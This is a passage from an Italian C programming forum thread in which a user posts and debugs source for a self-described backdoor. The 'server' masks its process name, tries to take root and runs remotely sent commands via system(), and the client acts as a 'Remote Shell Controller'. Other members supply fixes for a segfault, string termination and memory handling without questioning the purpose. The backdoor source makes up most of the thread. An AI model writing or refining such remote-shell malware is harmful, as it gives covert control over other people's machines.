Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - Errore Backdoor in C
Forum - C/C++ - Errore Backdoor in C - Pagina 2

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 15:33
Sabato, 17/12/2016
Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"
Ora però come al solito i guai non mancano mai :D  c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.

Server.c
Codice sorgente - presumibilmente Plain Text
  1. back.h  client   client.c  server  server.c
  2. Segmentation fault (core dump creato)


il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C :) ora vedo di risovere quest'altro problema..

Ecco comunque le modifiche che ho fatto

Server.c
Codice sorgente - presumibilmente C++
  1. /* server.c */
  2.  
  3. #include "back.h"
  4.  
  5. #define STATE_LEN       3
  6.  
  7. int main(int argc, char **argv)
  8. {
  9.  
  10.         int sd;
  11.         char cmd[1000], new_cmd[1200], size[17], file[100];
  12.         struct sockaddr_in server;
  13.  
  14.  
  15.        
  16.         strcpy(argv[0],"/usr/sbin/1");
  17.         snprintf(file,100,"%s/.cmd",getenv("HOME"));
  18.         setuid(0); setgid(0);
  19.  
  20.  
  21.         addr_init(&server, PORT, inet_addr("127.0.0.1"));
  22.         sd = socket(AF_INET, SOCK_STREAM, 0);
  23.  
  24.         if(sd == -1){
  25.                 printf("Impossibile creare il socket\n");
  26.                 exit(1);
  27.         }
  28.         if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
  29.                 printf("Impossibile stabilire una connessione");
  30.                 close(sd);
  31.                 exit(2);
  32.         }
  33.  
  34.         printf("Connessione avvenuta con successo \n");
  35.  
  36.         for(;;) {
  37.                 if((read(sd, cmd, sizeof(cmd))) == -1)
  38.                         exit(1);
  39.                         printf("%s\n",cmd);
  40.  
  41.                 memset(new_cmd, 0x0, sizeof(new_cmd));
  42.                 snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
  43.                 printf("%s\n",new_cmd);
  44.                 system(cmd);
  45.  
  46.  
  47.                 sprintf(size,"%zd",strlen(readFile(file)));
  48.                 size[strlen(size)] = '\0';
  49.  
  50.                 if(!strcmp(size,"0"))
  51.                 {
  52.                         snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
  53.                         system(new_cmd);
  54.                         snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
  55.                 }
  56.                 if((write(sd, size, sizeof(size))) == -1)
  57.                         exit(1);
  58.                 if((write(sd,readFile(file), atoi(size))) == -1)
  59.                         exit(1);
  60.  
  61.                 unlink(file);
  62.  
  63.         }
  64.         close(sd);
  65.  
  66. }


Client.c
Codice sorgente - presumibilmente C++
  1. /*client*/
  2.  
  3. #include "back.h"
  4. #define MAX_CONN        5
  5.  
  6. int main(int argc, char **argv)
  7. {
  8.  
  9.         int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
  10.         struct sockaddr_in client, server;
  11.         char *buff, cmd[1000], size[17];
  12.  
  13.         addr_init(&server, PORT, INADDR_ANY);
  14.         sd = socket(AF_INET, SOCK_STREAM, 0);
  15.  
  16.         if(sd == -1){
  17.                 printf("Impossibile creare il socket \n");
  18.                 exit(1);
  19.         }
  20.         if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
  21.                 printf("errore durante il bind\n");
  22.                 exit(2);
  23.         }
  24.         if((listen(sd,MAX_CONN)) == -1){
  25.                 printf("Errore nel listening\n");
  26.                 exit(3);
  27.         }
  28.         new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
  29.  
  30.         if(new_sd == -1){
  31.                 printf("Errore accept\n");
  32.                 exit(4);
  33.  
  34.         }
  35.  
  36.         printf("________________________________________\n");
  37.         printf("   Ghost -- Remote Shell Controller     \n");
  38.         printf("   by Chaos, (C) 2016                   \n");
  39.         printf("________________________________________\n\n");
  40.  
  41.         printf("Connessione stabilita con successo\n");
  42.  
  43.         for(;;){
  44.                 printf("ch4os-sh3ll-root# ");
  45.                 //fgets(cmd, sizeof(cmd), stdin);
  46.                 //cmd[strlen(cmd)-1] = '\0';
  47.                 scanf("%s",cmd);
  48.  
  49.                 send(new_sd, cmd, sizeof(cmd),0);
  50.                 memset(cmd, 0x0, sizeof(cmd));
  51.  
  52.                 if((read(new_sd,size, sizeof(size))) == -1)
  53.                 {
  54.                         printf("Impossibile ricevere dati dal server\n");
  55.                         exit(1);
  56.                 }
  57.                 buff = (char*) malloc(atoi(size)*sizeof(char));
  58.  
  59.                 if((read(new_sd, buff, atoi(size))) == -1){
  60.                         printf("Impossibile riceve dati dal server..\n");
  61.                         exit(1);
  62.                 }
  63.                 printf("%s",buff);
  64.                 printf("\nComando inviato\n");
  65.         }
  66.  
  67.         close(sd);
  68.  
  69.  
  70. }

Ultima modifica effettuata da ch4os il 17/12/2016 alle 15:37
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 17:30
Domenica, 18/12/2016
Codice sorgente - presumibilmente Plain Text
  1. sprintf(size,"%zd",strlen(readFile(file)));
  2. size[strlen(size)] = '\0';

Non mi convince molto questo, la seconda riga è tecnicamente inutile perché se strlen(size) funziona, allora vuol dire che nella posizione ritornata c'è gia un terminatore. Probabilmente questo non è vero e strlen dà un valore fuori dal range su cui scrivi, o direttamente strlen causa il segfault.

Ricordo che insieme a readFile avevi una funzione per sapere la lunghezza del file, mi son dimenticato di dirti che c'è un modo migliore di leggere tutto il file e poi fare rewind: devi usare fseek() per spostare il cursore alla fine, poi ftell() ti dirà la sua posizione (che corrisponde alla lunghezza in byte del file) e poi rewind.
Questo è più veloce e non richiede di leggere il file inutilmente.

Seconda cosa, prima o poi devi pensare a come gestire meglio la memoria, per ora tutti i punti che hanno un malloc() non hanno nessun corrispondente per liberare (compreso il risultato di readFile()).

PM Quote
Avatar
TheDarkJuster (Member)
Guru^2


Messaggi: 1620
Iscritto: 27/09/2013

Segnala al moderatore
Postato alle 19:55
Domenica, 18/12/2016
http://www.cplusplus.com/reference/cstdio/fseek/ Quindi salvati la lunghezza del file e non fare più completo affidamento sull'indicatore eof.

Come ti dice lumo, prova a definire una macro LUNGHEZZA_MAX 16

dichiarare size come size[LUNGHEZZA_MAX + 1]

e poi, anzichè fare:

Codice sorgente - presumibilmente Plain Text
  1. size[strlen(size)] = '\0';


fai:

Codice sorgente - presumibilmente Plain Text
  1. size[LUNGHEZZA_MAX] = '\0';


Così eviti il possibile scorrimento fuori buffer. Solo in seguito potrai fare strlen.

Ricordati che quando il programma termina devi anche chiudere il socket: https://www.gnu.org/software/libc/manual/html_node/Closing- ... oltre che ai vari file aperti e deallocare la memoria.

Se dovesse ri accadere il tuo programma quando crasha crea (non lui direttamente) il core dump, che tu puoi analizzare: http://stackoverflow.com/questions/5115613/core-dump-file- ... sempre con gdb per scoprire esattamente in che punto si è bloccato, e con un po' di fortuna anche il perchè.

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 20:27
Domenica, 18/12/2016
grazie tante ragazzi della vostra disponibilità... appena torno a casa vedo di modificare e vi farò sapere :) per quanto riguarda su come gestire la memoria non ho capito tanto bene come fare...potreste farmi capire un pò meglio.... :\

PM Quote
Avatar
TheDarkJuster (Member)
Guru^2


Messaggi: 1620
Iscritto: 27/09/2013

Segnala al moderatore
Postato alle 22:05
Domenica, 18/12/2016
int *a = malloc(12);

Ma la memoria poi va anche liberata quando non serve più:

free(a);

Vedi: https://it.wikipedia.org/wiki/Memory_leak per scoprire come si chiama e cosa causa il non rilascio delle risorse.

Per curiosità prova a compilare ed eseguire un programma fatto così:

Codice sorgente - presumibilmente C/C++
  1. while (1) {
  2.     malloc(4096);
  3. }


Per i primi X secondi non succederà nulla. Poi la ram sarà satura e il sistema operativo dovrà usare l'hdd per mappare le pagine che non stanno in ram e vedrai tutto "scattoso" / "rallentato" finchè il s.o. non ti chiuderà il programma o non allocherà più nulla stabilizzandosi così.

Ultima modifica effettuata da TheDarkJuster il 19/12/2016 alle 0:35
PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 12:50
Lunedì, 19/12/2016
grazie ragazzi mi avete fatto capire molto in queste due cose che nn conoscevo tanto bene... cmq penso che lo riscriverò da capo il codice per pulirlo anche un pò e togliere tutte le cose inutili... ho gia modificato la funzione readFile in questo modo
Codice sorgente - presumibilmente C++
  1. char *readFile(const char *filename)
  2. {
  3.         long int size = 0;
  4.         FILE *fp = fopen(filename,"r");
  5.  
  6.         if(!fp){
  7.                 fputs("Errore file\n", stderr);
  8.                 return NULL;
  9.         }
  10.         fseek(fp, 0, SEEK_END);
  11.         size = ftell(fp);
  12.         rewind(fp);
  13.  
  14.         char *buff = (char *) malloc(size);
  15.         if(!buff){
  16.                 fputs("Errore memoria\n",stderr);
  17.                 return NULL;
  18.         }
  19.  
  20.         if(fread(buff,1,size,fp) != size){
  21.                 fputs("Errore lettura file\n", stderr);
  22.                 return NULL;
  23.         }
  24.  
  25.         fclose(fp);
  26.         return buff;
  27. }

credo che così vada bene... ora non mi resta che provare a implementare questa funzione e vi farò sapere  :)

(PS: OFF-TOPIC questa funzione readFile l'ho provata in questo modo vedete se va bene così (non voglio andare off-topic ma voglio solo sapere se in questo modo viene liberata la memoria :\):
Codice sorgente - presumibilmente C++
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3.  
  4. char *readFile(const char *filename)
  5. {
  6.         long int size = 0;
  7.         FILE *fp = fopen(filename,"r");
  8.  
  9.         if(!fp){
  10.                 fputs("Errore file\n", stderr);
  11.                 return NULL;
  12.         }
  13.         fseek(fp, 0, SEEK_END);
  14.         size = ftell(fp);
  15.         rewind(fp);
  16.  
  17.         char *buff = (char *) malloc(size);
  18.         if(!buff){
  19.                 fputs("Errore memoria\n",stderr);
  20.                 return NULL;
  21.         }
  22.  
  23.         if(fread(buff,1,size,fp) != size){
  24.                 fputs("Errore lettura file\n", stderr);
  25.                 return NULL;
  26.         }
  27.  
  28.         fclose(fp);
  29.         return buff;
  30. }
  31.  
  32.  
  33. int main()
  34. {
  35.         char *files = "prova.txt";
  36.         char *buff = readFile(files);
  37.  
  38.         if(!buff) return -1;
  39.         fputs(buff, stdout);
  40.         free(buff);
  41. }


PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 13:21
Lunedì, 19/12/2016
Sì, così è corretta la gestione della memoria.

Attento però che non c'è un terminatore nella stringa buff, alloca size+1 e dopo fread aggiungi buff[size] = '\0'

Una alternativa altrimenti è usare calloc così tutta la memoria sarà inzializzata a zero (come fare malloc + memset, ma più veloce).

Ultima modifica effettuata da lumo il 19/12/2016 alle 13:21
PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo